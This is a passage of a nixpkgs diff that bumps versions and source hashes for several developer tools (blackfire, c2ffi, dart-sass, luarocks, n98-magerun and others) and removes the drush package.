{ url = "https://packages.blackfire.io/blackfire/${version}/blackfire-darwin_amd64.pkg.tar.gz"; - sha256 = "/Uvwq3wxbIT0kqKJJfh9W55EguUoBdTQ426FI0XOD0o="; + sha256 = "67xVi+FXztNIJe+kjXSwYHsX/1PWHP0QeFI8AwnrdP0="; }; }; diff --git a/pkgs/development/tools/misc/blackfire/php-probe.nix b/pkgs/development/tools/misc/blackfire/php-probe.nix index f960749bd708f..14b293b37e611 100644 --- a/pkgs/development/tools/misc/blackfire/php-probe.nix +++ b/pkgs/development/tools/misc/blackfire/php-probe.nix @@ -14,47 +14,47 @@ assert lib.assertMsg (!php.ztsSupport) "blackfire only supports non zts versions let phpMajor = lib.versions.majorMinor php.version; - version = "1.92.9"; + version = "1.92.10"; hashes = { "x86_64-linux" = { system = "amd64"; hash = { - "8.1" = "sha256-pvJHzqhpKdLyWexqCdynOXIoIkb6WPFogQzzdGSl0Go="; - "8.2" = "sha256-M2ihNS2IK0tO+lXXSrJZLguRzyrV8q/45gmK0pfxjuo="; - "8.3" = "sha256-v4vt0GkM8pbZ+zJrNqu+h1TM680RpnCQwNDyFFD/vuE="; + "8.1" = "sha256-U2vcgqnpz1+pS4aE3usj/ktrbnXw70+xpedx1LkbTvI="; + "8.2" = "sha256-rX57nPA6Fduzv5t/lGYnIPXSbW8ddlpQrDDqj3CUzQ0="; + "8.3" = "sha256-DXlMHZvGZMdzVRVe7Mv80sGHwUkWcr99hsWl7VnOrb0="; }; }; "i686-linux" = { system = "i386"; hash = { - "8.1" = "sha256-+IrL8OGjny+FPLNNj0N0oJGSuUA9nZFBkalW6qbBtbI="; - "8.2" = "sha256-z5oFFh+0spuku+nZf9ICL17upLHoA2k6StAmVpKIxyw="; - "8.3" = "sha256-1maDNZb92ptbbiIUZxwEBNk6oQPf6f2LVHvsXrpmdQ8="; + "8.1" = "sha256-Czua15eOomeIwaVll6THoKWlg2KSoj8TZn/kmpik8no="; + "8.2" = "sha256-oFqbLJUD8IlhdM3qT1zZUqPs/eikDJB7UqEc5RdPWGk="; + "8.3" = "sha256-/ueCOSPGdLDUQpaPOkiOkk1+xKYAFQoRPVUjrbGjkgI="; }; }; "aarch64-linux" = { system = "arm64"; hash = { - "8.1" = "sha256-apIHM85SDtdrNy2zkgue4nLS+IYg0aqO67tjt3iPMvQ="; - "8.2" = "sha256-vafJYIXksjQXNOufSNsRCBOkhh9Da1sp0X1JJtH0wNM="; - "8.3" = "sha256-JTfFszym+zq4U2V1HOkGB41OR/mt7GotHo1HThjLEV0="; + "8.1" = "sha256-F3bxCPvlXnBNXcp1ia47HdEfrronRqftTUQkvV2yeew="; + "8.2" = "sha256-dLUfo13RILacTgHhfLvzFOz8OvwO+Nv6L6hQ7XE2o5c="; + "8.3" = "sha256-NO6n3euYq0Ind6oxLaSRmj6FkmeWJme+ZcIfumQtEgE="; }; }; "aarch64-darwin" = { system = "arm64"; hash = { - "8.1" = "sha256-zj4oSpW2ubEdk5n8FjQF4oOWcjMd5V1G5ul8kHj/fyU="; - "8.2" = "sha256-aedyASZs4Sy0CEX9Y5qjJnzzcvUdO9eYg9nZXrOcVnI="; - "8.3" = "sha256-Sla+W+dz2foTnF3ys4MIcnP0FnSjiyWHfsMW0+Vhkpw="; + "8.1" = "sha256-DNkRaUD+/MsK8K1i48LnekooKjYen/SRMcYNgVTxRfU="; + "8.2" = "sha256-4MwsaqFozn6ybkjDIj+FUQv42I5YyV7gKXyTmNuLdRg="; + "8.3" = "sha256-KZR0oO53S1cdao6JQJKsNGIUk7bqR1xYcJeXUL7RW6g="; }; }; "x86_64-darwin" = { system = "amd64"; hash = { - "8.1" = "sha256-YorZctBEUgPHnoXtcf8xkn6DfhM1BZnBNpfi5o7y0AM="; - "8.2" = "sha256-5zmwJu1Ux5vebFeu1WMHRCKalB/qgm3/G74OPrd7nhc="; - "8.3" = "sha256-vm2VK3jPR25ICxiKMqzh9DyzG9EVJ/rX3i7LQMox3gs="; + "8.1" = "sha256-6rglM9HYhNdN4kumAOQibYt95oa5imgnfkhYDuC3Iso="; + "8.2" = "sha256-+Mi+xWdWYFwrKPL9szo4C0jZn+FMPSmdKiVAiH9MxtY="; + "8.3" = "sha256-0CwhF/z0phPYuOSZ0PRTG90DjjXKFKFEtAovCHYtRFw="; }; }; }; diff --git a/pkgs/development/tools/misc/c2ffi/default.nix b/pkgs/development/tools/misc/c2ffi/default.nix index 6db9557c6e1b4..77998dc339a0c 100644 --- a/pkgs/development/tools/misc/c2ffi/default.nix +++ b/pkgs/development/tools/misc/c2ffi/default.nix @@ -1,24 +1,24 @@ { lib , fetchFromGitHub , cmake -, llvmPackages_11 +, llvmPackages_16 , unstableGitUpdater }: let - c2ffiBranch = "llvm-11.0.0"; - llvmPackages = llvmPackages_11; + c2ffiBranch = "llvm-16.0.0"; + llvmPackages = llvmPackages_16; in llvmPackages.stdenv.mkDerivation { pname = "c2ffi-${c2ffiBranch}"; - version = "unstable-2021-06-15"; + version = "0-unstable-2023-11-18"; src = fetchFromGitHub { owner = "rpav"; repo = "c2ffi"; - rev = "f50243926a0afb589de1078a073ac08910599582"; - sha256 = "UstGicFzFY0/Jge5HGYTPwYSnh9OUBY5346ObZYfR54="; + rev = "097cbe61ca02dc79ea60859aa056975131a9d985"; + hash = "sha256-pflolW5OoEkVDozy4cjCdUIVxgE/SfVKIhQyNBDhENc="; }; passthru.updateScript = unstableGitUpdater { @@ -45,12 +45,12 @@ llvmPackages.stdenv.mkDerivation { # LLVM may be compiled with -fno-rtti, so let's just turn it off. # A mismatch between lib{clang,LLVM}* and us can lead to the link time error: # undefined reference to `typeinfo for clang::ASTConsumer' - CXXFLAGS="-fno-rtti"; + env.CXXFLAGS="-fno-rtti"; meta = with lib; { homepage = "https://github.com/rpav/c2ffi"; description = "An LLVM based tool for extracting definitions from C, C++, and Objective C header files for use with foreign function call interfaces"; license = licenses.lgpl21Only; - maintainers = with maintainers; [ attila-lendvai ]; + maintainers = with maintainers; [ ]; }; } diff --git a/pkgs/development/tools/misc/circleci-cli/default.nix b/pkgs/development/tools/misc/circleci-cli/default.nix index f9b5cfffdf8b9..5b3ac8eeb27f1 100644 --- a/pkgs/development/tools/misc/circleci-cli/default.nix +++ b/pkgs/development/tools/misc/circleci-cli/default.nix @@ -2,16 +2,16 @@ buildGoModule rec { pname = "circleci-cli"; - version = "0.1.30084"; + version = "0.1.30401"; src = fetchFromGitHub { owner = "CircleCI-Public"; repo = pname; rev = "v${version}"; - sha256 = "sha256-LZPHBxl1wBZD0zk11Yu2cKwBdOa1QXtLPpNvjeCOuJY="; + sha256 = "sha256-ebZEZ24KQgGOimCIRHlI5Uwv1dO1W7s0dTrY/n3y9Ao="; }; - vendorHash = "sha256-Ko2y/3h/SZk5aDympMT7nkZqXU1JsvKOaztKm8A8YXQ="; + vendorHash = "sha256-GOC1ZL0F/VwLuQ5d8OpAczw59lnyindp8LKmBd+jwgI="; nativeBuildInputs = [ installShellFiles ]; diff --git a/pkgs/development/tools/misc/coreboot-toolchain/default.nix b/pkgs/development/tools/misc/coreboot-toolchain/default.nix index 53dd4b59fa595..54f3f6e9b459e 100644 --- a/pkgs/development/tools/misc/coreboot-toolchain/default.nix +++ b/pkgs/development/tools/misc/coreboot-toolchain/default.nix @@ -19,12 +19,12 @@ let stdenvNoCC.mkDerivation (finalAttrs: { pname = "coreboot-toolchain-${arch}"; - version = "4.22"; + version = "24.02"; src = fetchgit { url = "https://review.coreboot.org/coreboot"; rev = finalAttrs.version; - hash = "sha256-OCEBt3YYyfXpnskFojBn/JoWTkNJ4XAI58BG4pyscGc="; + hash = "sha256-fHulr7w5I9LzBwGt/ZVaN7A3XEd7uQ2eJJifxII7rtk="; fetchSubmodules = false; leaveDotGit = true; postFetch = '' diff --git a/pkgs/development/tools/misc/coreboot-toolchain/stable.nix b/pkgs/development/tools/misc/coreboot-toolchain/stable.nix index 62fe33de76c26..6f5160e033b72 100644 --- a/pkgs/development/tools/misc/coreboot-toolchain/stable.nix +++ b/pkgs/development/tools/misc/coreboot-toolchain/stable.nix @@ -21,10 +21,10 @@ }; } { - name = "gcc-11.4.0.tar.xz"; + name = "gcc-13.2.0.tar.xz"; archive = fetchurl { - sha256 = "1ncd7akww0hl5kkmw1dj3qgqp3phdrr5dfnm7jia9s07n0ib4b9z"; - url = "mirror://gnu/gcc/gcc-11.4.0/gcc-11.4.0.tar.xz"; + sha256 = "1nj3qyswcgc650sl3h0480a171ixp33ca13zl90p61m689jffxg2"; + url = "mirror://gnu/gcc/gcc-13.2.0/gcc-13.2.0.tar.xz"; }; } { diff --git a/pkgs/development/tools/misc/dart-sass/default.nix b/pkgs/development/tools/misc/dart-sass/default.nix index f4ca641267ffd..da8db73ebabb2 100644 --- a/pkgs/development/tools/misc/dart-sass/default.nix +++ b/pkgs/development/tools/misc/dart-sass/default.nix @@ -10,24 +10,24 @@ }: let - embedded-protocol-version = "2.4.0"; + embedded-protocol-version = "2.5.0"; embedded-protocol = fetchFromGitHub { owner = "sass"; repo = "sass"; rev = "refs/tags/embedded-protocol-${embedded-protocol-version}"; - hash = "sha256-19YQTda5su2PI2vLzVRCn7fQoH5vEg3539gXEeLLvV8="; + hash = "sha256-ue2yv6jy0J8207Nhc5i8jnBWlNeYmGqexS2f3LDwg18="; }; in buildDartApplication rec { pname = "dart-sass"; - version = "1.70.0"; + version = "1.71.1"; src = fetchFromGitHub { owner = "sass"; repo = pname; rev = version; - hash = "sha256-JLVcoDAngP1y8EC4K6fIJdPu2Xm8LLAxUm8BTK5tSVk="; + hash = "sha256-MFBAc89Ib++Qve+SjkOOeZhdpH8Kwoic9U+d2ldt8W8="; }; pubspecLock = lib.importJSON ./pubspec.lock.json; diff --git a/pkgs/development/tools/misc/dart-sass/pubspec.lock.json b/pkgs/development/tools/misc/dart-sass/pubspec.lock.json index 820f44ac9f31c..dd6f237f34054 100644 --- a/pkgs/development/tools/misc/dart-sass/pubspec.lock.json +++ b/pkgs/development/tools/misc/dart-sass/pubspec.lock.json @@ -4,21 +4,21 @@ "dependency": "transitive", "description": { "name": "_fe_analyzer_shared", - "sha256": "36a321c3d2cbe01cbcb3540a87b8843846e0206df3e691fa7b23e19e78de6d49", + "sha256": "0b2f2bd91ba804e53a61d757b986f89f1f9eaed5b11e4b2f5a2468d86d6c9fc7", "url": "https://pub.dev" }, "source": "hosted", - "version": "65.0.0" + "version": "67.0.0" }, "analyzer": { "dependency": "direct dev", "description": { "name": "analyzer", - "sha256": "dfe03b90ec022450e22513b5e5ca1f01c0c01de9c3fba2f7fd233cb57a6b9a07", + "sha256": "37577842a27e4338429a1cbc32679d508836510b056f1eedf0c8d20e39c1383d", "url": "https://pub.dev" }, "source": "hosted", - "version": "6.3.0" + "version": "6.4.1" }, "archive": { "dependency": "direct dev", @@ -84,11 +84,11 @@ "dependency": "direct main", "description": { "name": "cli_pkg", - "sha256": "7b088621eb3d486c17a4122389d8b3f36658450d5a405fa229166b1a71a7ce4a", + "sha256": "b15d9558c6a44f20840198e385e3e4fe1fcb17d1a45e60e0657d9bd42e630a61", "url": "https://pub.dev" }, "source": "hosted", - "version": "2.7.2" + "version": "2.9.0" }, "cli_repl": { "dependency": "direct main", @@ -174,11 +174,11 @@ "dependency": "direct dev", "description": { "name": "dartdoc", - "sha256": "cbc4520cf486395741209693c3e7ef70653b1879b5a73e010815bf50431d330c", + "sha256": "6b147cb40a72557749d7a6594eb4e065057be54b44000cd57273e4a450c3b84e", "url": "https://pub.dev" }, "source": "hosted", - "version": "8.0.3" + "version": "8.0.5" }, "ffi": { "dependency": "transitive", @@ -254,11 +254,11 @@ "dependency": "direct main", "description": { "name": "http", - "sha256": "759d1a329847dd0f39226c688d3e06a6b8679668e350e2891a6474f8b4bb8525", + "sha256": "a2bbf9d017fcced29139daa8ed2bba4ece450ab222871df93ca9eec6f80c34ba", "url": "https://pub.dev" }, "source": "hosted", - "version": "1.1.0" + "version": "1.2.0" }, "http_multi_server": { "dependency": "transitive", @@ -354,21 +354,31 @@ "dependency": "direct main", "description": { "name": "meta", - "sha256": "d584fa6707a52763a52446f02cc621b077888fb63b93bbcb1143a7be5a0c0c04", + "sha256": "7687075e408b093f36e6bbf6c91878cc0d4cd10f409506f7bc996f68220b9136", "url": "https://pub.dev" }, "source": "hosted", - "version": "1.11.0" + "version": "1.12.0" }, "mime": { "dependency": "transitive", "description": { "name": "mime", - "sha256": "e4ff8e8564c03f255408decd16e7899da1733852a9110a58fe6d1b817684a63e", + "sha256": "2e123074287cc9fd6c09de8336dae606d1ddb88d9ac47358826db698c176a1f2", "url": "https://pub.dev" }, "source": "hosted", - "version": "1.0.4" + "version": "1.0.5" + }, + "native_stack_traces": { + "dependency": "transitive", + "description": { + "name": "native_stack_traces", + "sha256": "c797830b9910d13b0f4e70ddef15cde034214fe3bdb8092c4ea5ffad2f74013f", + "url": "https://pub.dev" + }, + "source": "hosted", + "version": "0.5.6" }, "native_synchronization": { "dependency": "direct main", @@ -434,11 +444,11 @@ "dependency": "transitive", "description": { "name": "petitparser", - "sha256": "eeb2d1428ee7f4170e2bd498827296a18d4e7fc462b71727d111c0ac7707cfa6", + "sha256": "c15605cd28af66339f8eb6fbe0e541bfe2d1b72d5825efc6598f3e0a31b9ad27", "url": "https://pub.dev" }, "source": "hosted", - "version": "6.0.1" + "version": "6.0.2" }, "pointycastle": { "dependency": "transitive", @@ -664,11 +674,11 @@ "dependency": "direct dev", "description": { "name": "test", - "sha256": "694c108e13c6b35b15fcb0f8f03eddf8373f93b044c9497b5e81ce09f7381bda", + "sha256": "7ee446762c2c50b3bd4ea96fe13ffac69919352bd3b4b17bac3f3465edc58073", "url": "https://pub.dev" }, "source": "hosted", - "version": "1.25.1" + "version": "1.25.2" }, "test_api": { "dependency": "transitive", @@ -750,15 +760,25 @@ "source": "hosted", "version": "1.1.0" }, + "web": { + "dependency": "transitive", + "description": { + "name": "web", + "sha256": "4188706108906f002b3a293509234588823c8c979dc83304e229ff400c996b05", + "url": "https://pub.dev" + }, + "source": "hosted", + "version": "0.4.2" + }, "web_socket_channel": { "dependency": "transitive", "description": { "name": "web_socket_channel", - "sha256": "d88238e5eac9a42bb43ca4e721edba3c08c6354d4a53063afaa568516217621b", + "sha256": "939ab60734a4f8fa95feacb55804fa278de28bdeef38e616dc08e44a84adea23", "url": "https://pub.dev" }, "source": "hosted", - "version": "2.4.0" + "version": "2.4.3" }, "webkit_inspection_protocol": { "dependency": "transitive", @@ -774,11 +794,11 @@ "dependency": "transitive", "description": { "name": "xml", - "sha256": "af5e77e9b83f2f4adc5d3f0a4ece1c7f45a2467b695c2540381bac793e34e556", + "sha256": "b015a8ad1c488f66851d762d3090a21c600e479dc75e68328c52774040cf9226", "url": "https://pub.dev" }, "source": "hosted", - "version": "6.4.2" + "version": "6.5.0" }, "yaml": { "dependency": "direct dev", @@ -792,6 +812,6 @@ } }, "sdks": { - "dart": ">=3.1.0 <4.0.0" + "dart": ">=3.2.0 <4.0.0" } } diff --git a/pkgs/development/tools/misc/devspace/default.nix b/pkgs/development/tools/misc/devspace/default.nix index 198e15370bf8f..4a1393f79d466 100644 --- a/pkgs/development/tools/misc/devspace/default.nix +++ b/pkgs/development/tools/misc/devspace/default.nix @@ -7,13 +7,13 @@ buildGoModule rec { pname = "devspace"; - version = "6.3.10"; + version = "6.3.12"; src = fetchFromGitHub { owner = "devspace-sh"; repo = "devspace"; rev = "v${version}"; - hash = "sha256-ExVetF5YP9gf5ifBsdPow7KA867+4iOxe/0OwZwctoc="; + hash = "sha256-tnkMXB0BWavSZF3HEdvtCE42zgcHNRGI5CdK3RDvv9c="; }; vendorHash = null; diff --git a/pkgs/development/tools/misc/doclifter/default.nix b/pkgs/development/tools/misc/doclifter/default.nix index d346f94b47844..6ab0259205338 100644 --- a/pkgs/development/tools/misc/doclifter/default.nix +++ b/pkgs/development/tools/misc/doclifter/default.nix @@ -2,10 +2,10 @@ stdenv.mkDerivation rec { pname = "doclifter"; - version = "2.20"; + version = "2.21"; src = fetchurl { url = "http://www.catb.org/~esr/${pname}/${pname}-${version}.tar.gz"; - sha256 = "sha256-BEuMbICJ8TD3+VjUr8rmhss7XlPNjxSy1P0SkmKLPsc="; + sha256 = "sha256-3zb+H/rRmU87LWh0+kQtiRMZ4JwJ3tVrt8vQ/EeKx8Q="; }; buildInputs = [ python3 ]; nativeBuildInputs = [ python3 makeWrapper ]; diff --git a/pkgs/development/tools/misc/drush/default.nix b/pkgs/development/tools/misc/drush/default.nix deleted file mode 100644 index bd1c711099631..0000000000000 --- a/pkgs/development/tools/misc/drush/default.nix +++ /dev/null @@ -1,31 +0,0 @@ -{ lib, stdenv, fetchurl, fetchFromGitHub, php, which, makeWrapper, bash, coreutils, ncurses }: - -stdenv.mkDerivation rec { - pname = "drush"; - version = "8.4.12"; - - src = fetchurl { - url = "https://github.com/drush-ops/drush/releases/download/${version}/drush.phar"; - sha256 = "sha256-YtD9lD621LJJAM/ieL4KWvY4o4Uqo3+FWgjGYGdQQaw="; - }; - - dontUnpack = true; - - nativeBuildInputs = [ makeWrapper ]; - - installPhase = '' - mkdir -p $out/bin - install -D $src $out/libexec/drush/drush.phar - makeWrapper ${php}/bin/php $out/bin/drush \ - --add-flags "$out/libexec/drush/drush.phar" \ - --prefix PATH : "${lib.makeBinPath [ which php bash coreutils ncurses ]}" - ''; - - meta = with lib; { - description = "Command-line shell and Unix scripting interface for Drupal"; - homepage = "https://github.com/drush-ops/drush"; - license = licenses.gpl2; - maintainers = with maintainers; [ lovek323 ]; - platforms = platforms.all; - }; -} diff --git a/pkgs/development/tools/misc/editorconfig-checker/default.nix b/pkgs/development/tools/misc/editorconfig-checker/default.nix index 699f6c91978c6..3aedd876de6d1 100644 --- a/pkgs/development/tools/misc/editorconfig-checker/default.nix +++ b/pkgs/development/tools/misc/editorconfig-checker/default.nix @@ -2,16 +2,16 @@ buildGoModule rec { pname = "editorconfig-checker"; - version = "2.8.0"; + version = "3.0.0"; src = fetchFromGitHub { owner = "editorconfig-checker"; repo = "editorconfig-checker"; - rev = version; - hash = "sha256-CVstdtFPt/OlvJE27O+CqqDpUqp9bQl18IGyf8nputM="; + rev = "v${version}"; + hash = "sha256-T2+IqHDRGpmMFOL2V6y5BbF+rfaMsKaXvQ48CFpc52I="; }; - vendorHash = "sha256-t2h9jtGfips+cpN1ckVhVgpg4egIYVXd89ahyDzV060="; + vendorHash = "sha256-vHIv3a//EfkYE/pHUXgFBgV3qvdkMx9Ka5xCk1J5Urw="; doCheck = false; diff --git a/pkgs/development/tools/misc/elfutils/default.nix b/pkgs/development/tools/misc/elfutils/default.nix index d61cf961615f2..0533af6789190 100644 --- a/pkgs/development/tools/misc/elfutils/default.nix +++ b/pkgs/development/tools/misc/elfutils/default.nix @@ -93,7 +93,7 @@ stdenv.mkDerivation rec { description = "A set of utilities to handle ELF objects"; platforms = platforms.linux; # https://lists.fedorahosted.org/pipermail/elfutils-devel/2014-November/004223.html - broken = stdenv.hostPlatform.isStatic; + badPlatforms = [ lib.systems.inspect.platformPatterns.isStatic ]; # licenses are GPL2 or LGPL3+ for libraries, GPL3+ for bins, # but since this package isn't split that way, all three are listed. license = with licenses; [ gpl2Only lgpl3Plus gpl3Plus ]; diff --git a/pkgs/development/tools/misc/fzf-make/default.nix b/pkgs/development/tools/misc/fzf-make/default.nix index 4ce9267ab07f8..faf9a8740e11b 100644 --- a/pkgs/development/tools/misc/fzf-make/default.nix +++ b/pkgs/development/tools/misc/fzf-make/default.nix @@ -10,16 +10,16 @@ rustPlatform.buildRustPackage rec { pname = "fzf-make"; - version = "0.23.0"; + version = "0.24.0"; src = fetchFromGitHub { owner = "kyu08"; repo = "fzf-make"; rev = "v${version}"; - hash = "sha256-CXifWgf7+FgelVImsoASCrH4PtBL+ciw5Qr+JbsxnPU="; + hash = "sha256-2RA4EVhmn8edolUeL7y9b8PssPSGIZZjHx340J0GqVE="; }; - cargoHash = "sha256-yuhfxyrffa1pqNtIM2X3E1b1ebuBYHAu+dQrQZubCbQ="; + cargoHash = "sha256-Jfh+PMOep1WWTyt+LTGg+3f9pb6DlWu4ZLE9qvv8QyQ="; nativeBuildInputs = [ makeBinaryWrapper ]; diff --git a/pkgs/development/tools/misc/global/default.nix b/pkgs/development/tools/misc/global/default.nix index e0e1ea0e606c2..757c4269e79b2 100644 --- a/pkgs/development/tools/misc/global/default.nix +++ b/pkgs/development/tools/misc/global/default.nix @@ -6,11 +6,11 @@ let pygments = python3Packages.pygments; in stdenv.mkDerivation rec { pname = "global"; - version = "6.6.11"; + version = "6.6.12"; src = fetchurl { url = "mirror://gnu/global/${pname}-${version}.tar.gz"; - hash = "sha256-BTMxn3jThguBZo366qUHkBVB5d2oz8MNUt/GzpSJ9eM="; + hash = "sha256-VCpbBoQOFOylSLS7YLRMCtzwECTmjrNi+L9xYAeIWQE="; }; nativeBuildInputs = [ libtool makeWrapper ]; diff --git a/pkgs/development/tools/misc/jsonfmt/default.nix b/pkgs/development/tools/misc/jsonfmt/default.nix index e11828df7f597..e098c8feea8fa 100644 --- a/pkgs/development/tools/misc/jsonfmt/default.nix +++ b/pkgs/development/tools/misc/jsonfmt/default.nix @@ -36,5 +36,6 @@ buildGoModule rec { changelog = "https://github.com/caarlos0/jsonfmt/releases/tag/${src.rev}"; license = licenses.mit; maintainers = with maintainers; [ figsoda ]; + mainProgram = "jsonfmt"; }; } diff --git a/pkgs/development/tools/misc/kool/default.nix b/pkgs/development/tools/misc/kool/default.nix index f1d4b2b746548..fc747a476bdc3 100644 --- a/pkgs/development/tools/misc/kool/default.nix +++ b/pkgs/development/tools/misc/kool/default.nix @@ -7,13 +7,13 @@ buildGoModule rec { pname = "kool"; - version = "3.0.0"; + version = "3.2.0"; src = fetchFromGitHub { owner = "kool-dev"; repo = "kool"; rev = version; - hash = "sha256-+vdizU2/q2nrEanpRPy1scgfTYh/I7feW4jz8efelWY="; + hash = "sha256-oMPzDU5MNIgxg7E2lgvgXEfO4W+VrFlLThOC9OEqhWo="; }; vendorHash = "sha256-PmS96KVhe9TDmtYBx2hROLCbGMQ0OY3MN405dUmxPzk="; diff --git a/pkgs/development/tools/misc/luarocks/default.nix b/pkgs/development/tools/misc/luarocks/default.nix index c8d36a1e33131..8936f4a15b575 100644 --- a/pkgs/development/tools/misc/luarocks/default.nix +++ b/pkgs/development/tools/misc/luarocks/default.nix @@ -19,23 +19,17 @@ stdenv.mkDerivation (finalAttrs: { pname = "luarocks"; - version = "3.9.1"; + version = "3.9.2"; src = fetchFromGitHub { owner = "luarocks"; repo = "luarocks"; rev = "v${finalAttrs.version}"; - sha256 = "sha256-G6HDap3pspeQtGDBq+ukN7kftDaT/CozMVdYM60F6HI="; + hash = "sha256-D5jH7QuPayDNskIhiPeqKzI9m33MjRjQ8ReghFIUlPo="; }; patches = [ ./darwin-3.7.0.patch - # follow standard environmental variables - # https://github.com/luarocks/luarocks/pull/1433 - (fetchpatch { - url = "https://github.com/luarocks/luarocks/commit/d719541577a89909185aa8de7a33cf73b7a63ac3.diff"; - sha256 = "sha256-rMnhZFqLEul0wnsxvw9nl6JXVanC5QgOZ+I/HJ0vRCM="; - }) ]; postPatch = lib.optionalString stdenv.targetPlatform.isDarwin '' @@ -67,7 +61,19 @@ stdenv.mkDerivation (finalAttrs: { sed -e "1s@.*@#! ${lua}/bin/lua$LUA_SUFFIX@" -i "$out"/bin/* substituteInPlace $out/etc/luarocks/* \ --replace '${lua.luaOnBuild}' '${lua}' + '' + + lib.optionalString (stdenv.buildPlatform.canExecute stdenv.hostPlatform) '' + installShellCompletion --cmd luarocks \ + --bash <($out/bin/luarocks completion bash) \ + --fish <($out/bin/luarocks completion fish) \ + --zsh <($out/bin/luarocks completion zsh) + installShellCompletion --cmd luarocks-admin \ + --bash <($out/bin/luarocks-admin completion bash) \ + --fish <($out/bin/luarocks-admin completion fish) \ + --zsh <($out/bin/luarocks-admin completion zsh) + '' + + '' for i in "$out"/bin/*; do test -L "$i" || { wrapProgram "$i" \ @@ -79,11 +85,6 @@ stdenv.mkDerivation (finalAttrs: { lib.optionals (finalAttrs.pname == "luarocks-nix") [ file nix-prefetch-git ])} } done - '' + lib.optionalString (stdenv.buildPlatform.canExecute stdenv.hostPlatform) '' - installShellCompletion --cmd luarocks \ - --bash <($out/bin/luarocks completion bash) \ - --fish <($out/bin/luarocks completion fish) \ - --zsh <($out/bin/luarocks completion zsh) ''; propagatedBuildInputs = [ zip unzip cmake ]; diff --git a/pkgs/development/tools/misc/n98-magerun/default.nix b/pkgs/development/tools/misc/n98-magerun/default.nix index dadca94c37b0a..08196dc041af7 100644 --- a/pkgs/development/tools/misc/n98-magerun/default.nix +++ b/pkgs/development/tools/misc/n98-magerun/default.nix @@ -1,46 +1,27 @@ -{ - stdenv -, fetchurl -, makeBinaryWrapper -, php -, lib -, unzip +{ lib +, fetchFromGitHub +, php81 }: -stdenv.mkDerivation (finalAttrs: { +php81.buildComposerProject (finalAttrs: { pname = "n98-magerun"; version = "2.3.0"; - src = fetchurl { - url = "https://github.com/netz98/n98-magerun/releases/download/${finalAttrs.version}/n98-magerun.phar"; - hash = "sha256-s+Cdr8zU3VBaBzxOh4nXjqPe+JPPxHWiFOEVS/86qOQ="; + src = fetchFromGitHub { + owner = "netz98"; + repo = "n98-magerun"; + rev = finalAttrs.version; + hash = "sha256-/RffdYgl2cs8mlq4vHtzUZ6j0viV8Ot/cB/cB1dstFM="; }; - dontUnpack = true; - - nativeBuildInputs = [ - makeBinaryWrapper - ]; - - installPhase = '' - runHook preInstall - - mkdir -p $out/bin $out/libexec/n98-magerun - - install -D $src $out/libexec/n98-magerun/n98-magerun.phar - makeWrapper ${php}/bin/php $out/bin/n98-magerun \ - --add-flags "$out/libexec/n98-magerun/n98-magerun.phar" \ - --prefix PATH : ${lib.makeBinPath [ unzip ]} - - runHook postInstall - ''; + vendorHash = "sha256-n608AY6AQdVuN3hfVQk02vJQ6hl/0+4LVBOsBL5o3+8="; meta = { - broken = true; # Not compatible with PHP 8.1, see https://github.com/netz98/n98-magerun/issues/1275 changelog = "https://magerun.net/category/magerun/"; description = "The swiss army knife for Magento1/OpenMage developers"; homepage = "https://magerun.net/"; license = lib.licenses.mit; + mainProgram = "n98-magerun"; maintainers = lib.teams.php.members; }; }) diff --git a/pkgs/development/tools/misc/n98-magerun2/default.nix b/pkgs/development/tools/misc/n98-magerun2/default.nix index c04b3840a4375..9cd87a29ec565 100644 --- a/pkgs/development/tools/misc/n98-magerun2/default.nix +++ b/pkgs/development/tools/misc/n98-magerun2/default.nix @@ -1,45 +1,27 @@ -{ - stdenv -, fetchurl -, makeBinaryWrapper +{ lib +, fetchFromGitHub , php -, lib -, unzip }: -stdenv.mkDerivation (finalAttrs: { +php.buildComposerProject (finalAttrs: { pname = "n98-magerun2"; version = "7.3.1"; - src = fetchurl { - url = "https://github.com/netz98/n98-magerun2/releases/download/${finalAttrs.version}/n98-magerun2.phar"; - hash = "sha256-5G3sfyw8C3BwRqnK2o3upJTI/pENyaFCiMC4XGOkJT4="; + src = fetchFromGitHub { + owner = "netz98"; + repo = "n98-magerun2"; + rev = finalAttrs.version; + hash = "sha256-a1T4SmeOEKRW/xS2VBPLZt6r9JdtaJn8YVvfRnzGdb4="; }; - dontUnpack = true; - - nativeBuildInputs = [ - makeBinaryWrapper - ]; - - installPhase = '' - runHook preInstall - - mkdir -p $out/bin $out/libexec/n98-magerun2 - - install -D $src $out/libexec/n98-magerun2/n98-magerun2.phar - makeWrapper ${php}/bin/php $out/bin/n98-magerun2 \ - --add-flags "$out/libexec/n98-magerun2/n98-magerun2.phar" \ - --prefix PATH : ${lib.makeBinPath [ unzip ]} - - runHook postInstall - ''; + vendorHash = "sha256-1j0/spum4C9j/HNVlHwUehAFYJOz7YvMVlC6dtbNYK0="; meta = { changelog = "https://magerun.net/category/magerun/"; description = "The swiss army knife for Magento2 developers"; homepage = "https://magerun.net/"; license = lib.licenses.mit; + mainProgram = "n98-magerun2"; maintainers = lib.teams.php.members; }; }) diff --git a/pkgs/development/tools/misc/opengrok/default.nix b/pkgs/development/tools/misc/opengrok/default.nix index a2ade07c21c43..bf566188e5d74 100644 --- a/pkgs/development/tools/misc/opengrok/default.nix +++ b/pkgs/development/tools/misc/opengrok/default.nix @@ -2,12 +2,12 @@ stdenv.mkDerivation rec { pname = "opengrok"; - version = "1.13.2"; + version = "1.13.6"; # binary distribution src = fetchurl { url = "https://github.com/oracle/opengrok/releases/download/${version}/${pname}-${version}.tar.gz"; - hash = "sha256-Er6f1KgMZ4e/o3TJkw6z96rxBGQ/KEc9gGI2W6m+b8U="; + hash = "sha256-eCTqBdY2mALEo7dPQ7fDNaO2RcbbKIYSi9Y6nfRV1kc="; }; nativeBuildInputs = [ makeWrapper ]; diff --git a/pkgs/development/tools/misc/polylith/default.nix b/pkgs/development/tools/misc/polylith/default.nix index 351e07b885d8a..06aadb0092071 100644 --- a/pkgs/development/tools/misc/polylith/default.nix +++ b/pkgs/development/tools/misc/polylith/default.nix @@ -2,11 +2,11 @@ stdenv.mkDerivation rec { pname = "polylith"; - version = "0.2.18"; + version = "0.2.19"; src = fetchurl { url = "https://github.com/polyfy/polylith/releases/download/v${version}/poly-${version}.jar"; - sha256 = "sha256-loSv316OV8EjTw65yhSpaYWObs/45k9Xsa+m3cYgNr4="; + sha256 = "sha256-tJV3kkB7dydnrJ0Es7DoOtCS+TwJG3SMONB2dsyHxx4="; }; dontUnpack = true; diff --git a/pkgs/development/tools/misc/reviewdog/default.nix b/pkgs/development/tools/misc/reviewdog/default.nix index f3e6a8e8d67e3..2ed07f4579f10 100644 --- a/pkgs/development/tools/misc/reviewdog/default.nix +++ 